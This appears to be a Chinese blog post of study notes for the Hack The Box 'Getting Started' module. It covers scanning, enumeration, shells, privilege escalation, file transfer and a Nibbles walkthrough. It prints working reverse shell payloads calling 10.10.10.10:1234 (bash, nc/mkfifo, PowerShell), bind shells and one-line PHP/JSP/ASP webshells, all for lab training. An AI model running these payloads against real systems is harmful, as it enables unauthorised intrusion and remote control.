HTB——Getting start

一、learning resource

1、Vulnerable Machines/Applications

OWASP Juice Shop

Metasploitable 2

Metasploitable 3

2、YouTube Channels

(***)IppSec

VbScrub

STÖK

LiveOverflow

3、Blog

0xdf hacks stuff
hacktrick

4、Other tools

记笔记:Obsidian
GIF图:Peek

二、Getting start

1、信息安全包括

  • 网络和基础设施安全
  • 应用程序安全性
  • 安全测试
  • 系统审计
  • 业务连续性规划
  • 数字取证
  • 事件检测和响应

2、文件夹结构

  每一个项目都要建立独立的文件夹,文件夹结构如下两种:

在这里插入图片描述

在这里插入图片描述

3、common term

  1. shell:在linux系统中,shell是一个程序,它通过键盘从用户哪里获取输入,并将这些命令传递给操作系统以执行特定功能。

  2. 常见端口
    在这里插入图片描述

4、Basic tools

  1. TCP连接工具:ncpowerncsocat

nc连接基础命令:nc <ip> <port>
nc监听特定端口:nc -nvlp <podt>

  1. SSH
    SSH是一个运行在22端口上的网络协议,能够让用户远程访问计算机。SSH登录有两种方式:密码认证公钥认证。SSH除了远程登录计算机,还可以进行端口转发和端口代理,以及从远程主机上上传或下载文件。
    SSH连接命令:ssh username@ip

  2. 终端复用器:Tmux
    - 直接在命令行中输入tmux;
    - 开启新窗口:[ctrl+b] c
    - 切换窗口:[ctrl+B] number
    - 窗口左右布局:[ctrl+b] %
    - 光标向左移动:[ctrl+b] {
    - 光标向左移动:[ctrl+b] }
    - 查看历史输出:[ctrl+b] [进入历史输出信息查看模式,通过方位键即可查看输出内容。

tmux命令总结:cheatsheet-tmux

5、server scanning

  1. Namp
    nmap <IP>:默认只会扫描常见的1000个端口,默认实施TCP扫描
    -sC:指定nmap脚本;
    -sV:服务版本探测;
    -p-:全端口扫描

  2. Banner grabbing
    在这里插入图片描述

其实就是用nc去连接开放的端口,该端口会返回其上所运行的服务的指纹。

  1. smbclient
    • smbclient -l -N \\\\<ip>:显示指定ip的共享文件夹,并禁止显示密码提示;
    • smbclient -U <username> \\\\<ip>\\<folder>:用用户名连接共享的文件夹。

5、Web Enumeration

其实就是目录扫描,主要的工具有ffufgobuster

  1. gobuster的基本使用
    目录扫描:gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
    http status code

  2. DNS Subdomain Enumeration

    • 安装seclist字典seclist
    • add a DNS Server such as 1.1.1.1 to the /etc/resolv.conf file
    • gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt
  3. Web Enumeration Tips

    • Banner Grabbing / Web Server Headers
      检索响应头信息, curl -IL <url>
    • Whatweb
      提取web服务版本,支持的框架、应用,whatweb <ip地址>
    • Certificates
      在这里插入图片描述
    • Robots.txt
      Robots.txt中可能包含一些敏感路径
    • 源代码
      源代码中可能包含没删感觉的测试信息。

6、Public Exploits

在我们用nmap扫描出目标主机的服务、应用信息之后,就要去查找这些服务、应用是否存在已知漏洞。

  1. Finding Public Exploits

  2. Metasploit Primer

7、types of shells

在这里插入图片描述

  1. reverse shell

      反弹shell的思路:在本机上使用netcat监听某个特定端口,然后在目标主机上运行反弹shell命令连接本机的被netcat监听的端口。具体操作如下:

    • 在本机上监听端口,nc -lvnp <port>
      在这里插入图片描述

    • 在目标主机上运行反弹shell命令

      • 在linux上使用的,比较稳定的反弹shell payload:
        bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1';
        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
        
      • windows powershell 反弹shell payload:
        powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
        

    Payload All The Things上有很多关于反弹shell的payload

  2. blind shell

    其实就是正向连接,本机主动连接目标主机

    blind shell的思路:在目标主机上执行blind shell命令,以便将shell绑定到目标主机的某一端口,并且目标主机监听这一端口;之后,在本机上使用netcat主动连接目标主机监听的那一特殊端口。具体步骤如下:

    • 在目标主机上运行blind shell command较稳定的payload如下:

      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
      
      python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
      
      powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
      
    • 在本机上用netcat连接目标主机,netcat <ip> <port>

注意:不管是正向shell还是反向shell,shell命令停止,都需要重新连接!

  1. Upgrading TTY

    不管是正向shell还是反向shell,获取的shell都只能输入命令和键,不能移动光标,也不可以使用updown键浏览历史命令。因此,需要update TTY。具体做法如下:

    • netcatshell中,使用如下命令更新shell类型到full TTY:
    python -c 'import pty; pty.spawn("/bin/bash")'
    
    • 使用ctrl+znetcatshell放到后台,且返回一个本地的shell,在本地shell中输入stty命令,就可以得到一个更加稳定的远程shell了。
      在这里插入图片描述

    • 改变netcatshell的窗口大小
      在这里插入图片描述
      在这里插入图片描述

  2. webshell

    webshell其实是一个web脚本,这个脚本能够通过HTTP协议接受自定义的命令,并且运行这些命令,且将结果输出到web页面上。

    • 写web shell脚本
    	<?php system($_REQUEST["cmd"]); ?>
    
    	<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
    
    	 <% eval request("cmd") %>
    
    • 上传web shell脚本

    通过文件上传上传webshell;或者通过代码执行,将webshell脚本写到网站根目录下。

    常见的web server的根目录:
    在这里插入图片描述

    • 访问webshell
      `可以通过浏览器访问webshell位置;也可以用curl工具访问;也可以用webshell连接工具,如蚁剑、哥斯拉。

8、Privilege Escalation

  两个关于提权的资料:
hacktricks
payload_all_the_sthings

  关于提权,有以下几个思路:

  1. 提权脚本工具
    Privilege Escalation Awesome Scripts SUITE (PEASS)

  2. 内核漏洞利用

  3. 有漏洞的软件利用

  4. 用户权限
    在获得目标主机的访问权限后,我们需要查看是否能够利用其他用户权限。以下是几种利用其他用户权限的方法:

    • sudo
    • suid
    • windows token privileges

    sudo -l:检查当前用户的权限,若发现可以不用密码就执行sudo的用户,直接sudo -u <username> /bin/bash就可以拿到别的用户的shell了!
    linux下使用sudo命令提权的相关资料:gtfobins
    windows下相关提权:LOLBAS

  5. 计划任务
    如果我们对计划任务具有写权限,那么我们就可以写一个反向连接的shell脚本。windows下是计划任务,linux下就是cron job,与cron job有关的目录:

    • /etc/crontab
    • /etc/cron.d
    • /var/spool/cron/crontabs/root
  6. 公开的凭证
    我们还可以查找我们有权读的文件,看其中是否存在公开的凭证,一般是在配置文件、日志文件、历史文件(bash_hisory in linux;PSReadline in windows)。有相关脚本文件。

  7. SSH keys

    • 使用用户私钥登录ssh
      用户ssh私钥文件路径:/home/user/.ssh/id_rsa or /root/.ssh/id_rsa,如果我们能读取私钥文件,将其私钥文件复制到本机上,并且使用ssh -i命令登录ssh,具体命令如下:
      在这里插入图片描述
    • 使用授权的ssh私钥登录ssh
      • 在本机上使用ssh-keygen -f key(其中f表示输出的文件名)命令生成公钥(hey.pub)和私钥(key);
      • 将生成的公钥内容写入到目标主机的/root/.ssh/authorized_keys;
      • 使用私钥进行免密登录ssh username@ip -i key;在这里插入图片描述

9、transferring files

需求:在渗透测试过程中,我们可能需要传输文件到目标主机,例如enumeration scripts or exploit,或者传输数据回本地主机。尽管msf有相应的上传命令,我们仍然需要学会用反弹shell去传输文件。

  1. Using wget
    思路:本机开http服务,目标主机使用curl或者wget下载本机上的资源。具体步骤如下:

    • 进入需要传输的文件所在的目录,并且用python开启http服务。
      cd <相应dir>
      python3 -m http.server 8000
      
    • 使用curl或者wget下载相应资源
      wget http://<ip>:<port>/file
      curl http://<ip>:<port>/file -o <output filename>
      
  2. using scp
    使用scp命令将本地文件传输到远程主机:
    scp <local file path> username@ip:/<remore file path>

  3. Using Base64
    有时候防火墙不允许目标主机下载文件,此时可以用base64进行编码,具体做法:

    base64 <filename> -w 0 //对要传输的文件进行base64编码
    echo <base64编码的内容> | base64 -d > <filename> //将编码得到的内容进行解码并写入相应的文件中
    
  4. Validating File Transfers
    使用file命令查看文件格式,file <filename>,如果它是一个ELF binary,则说明其是可以成功传输的。同时,为了确保文件在传输过程中不会改变,可以使用md5sum命令检查MD5 hash。
    在这里插入图片描述

10、Nibbles - Enumeration

1. Enumeration — nmap

  1. 使用nmap -v -oG -命令显示nmap默认扫描的端口;
    在这里插入图片描述

  2. 使用如下命令扫描默认端口:nmap -sV --open -oA <output_filename> <ip>;或者进行全端口扫描:nmap -p- -sV --open -oA <output_filename> <ip>

    其中,-p-扫描所有端口;
    -sV参数代表扫描默认1000个端口的服务情况和端口开放情况;
    --open表示仅仅展示开放端口;
    -oA代表输出所有类型的输出(报告)。

    在这里插入图片描述
    从上图可知,该靶机上运行了ssh、http服务;靶机类型为linux。

  3. 使用nc去检查nmap扫出来的端口信息,命令如下:nc -nv <ip> <port>

    其中,-v代表显示输出信息;
    -n代表不要再任何ip、端口上进行DNS和服务探查

    在这里插入图片描述

  4. 在发现所有开放端口后,使用nmap脚本进行进一步探查,命令如下:nmap -sC -p <port_num> -oA <output_filename> <ip>

    其中,-sC代表使用nmap脚本,nmap脚本
    -p <port_num>指定端口。

    在这里插入图片描述
    没有太多有用的信息。

2. Web Footprinting

(1) 探查web指纹

  • 使用浏览器插件wappalyzer,可能不全
    在这里插入图片描述

  • 使用命令whatweb <url>进行web指纹识别。
    在这里插入图片描述

whatweb的结果可能比wappalzer全,可知:后端语言为php,web服务器为apache,java库为jQuery,CMS为Nibbleblog.

(2) web目录扫描

  • gobuster dir -u <url> --wordlist /usr/share/dirb/wordlists/common.txt

    在这里插入图片描述

3. Initial Foothold

reverse shell资源:

获取稳定shell类型到full TTY(不至于突然断掉):

	python -c 'import pty; pty.spawn("/bin/bash")'

4. Privilege Escalation

上传自动提权检查脚本LinEnum到目标主机,用python开启http服务:sudo python -mhttp.server 8080

命令行访问web服务用curl,命令行下载web上的资源用wget

总结

  1. 使用nmap对所有端口进行快速扫描,先用namp -p-<ip>探查开放的端口,再用-sC -sV参数针对端口进行探查;
  2. 检查所有的运行web应用的端口,使用whatwebwappalyzer探查脚本语言、CMS、web服务器等;
  3. 使用gobuster对网站进行目录扫描,发现隐藏的文件或目录;
  4. 将网站url和相应的IP放到/etc/hosts文件中,再次访问(非必要);
  5. 在识别网站使用的技术后,使用searchsploit或者google去查询是否存在exploitation techniques;
  6. 获取反弹shell后,使用python -c 'import pty;pty.spawn("/bin/bash")'去获得一个比较稳定的shell(这里所说的稳定是不会随便断,但是有些按键仍然不能用);
  7. 再进行错误配置、已知漏洞服务、明文存储的相关认证信息搜集;根据搜集到的信息进行提权。信息搜集脚本:LinEnumLinPEAS
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值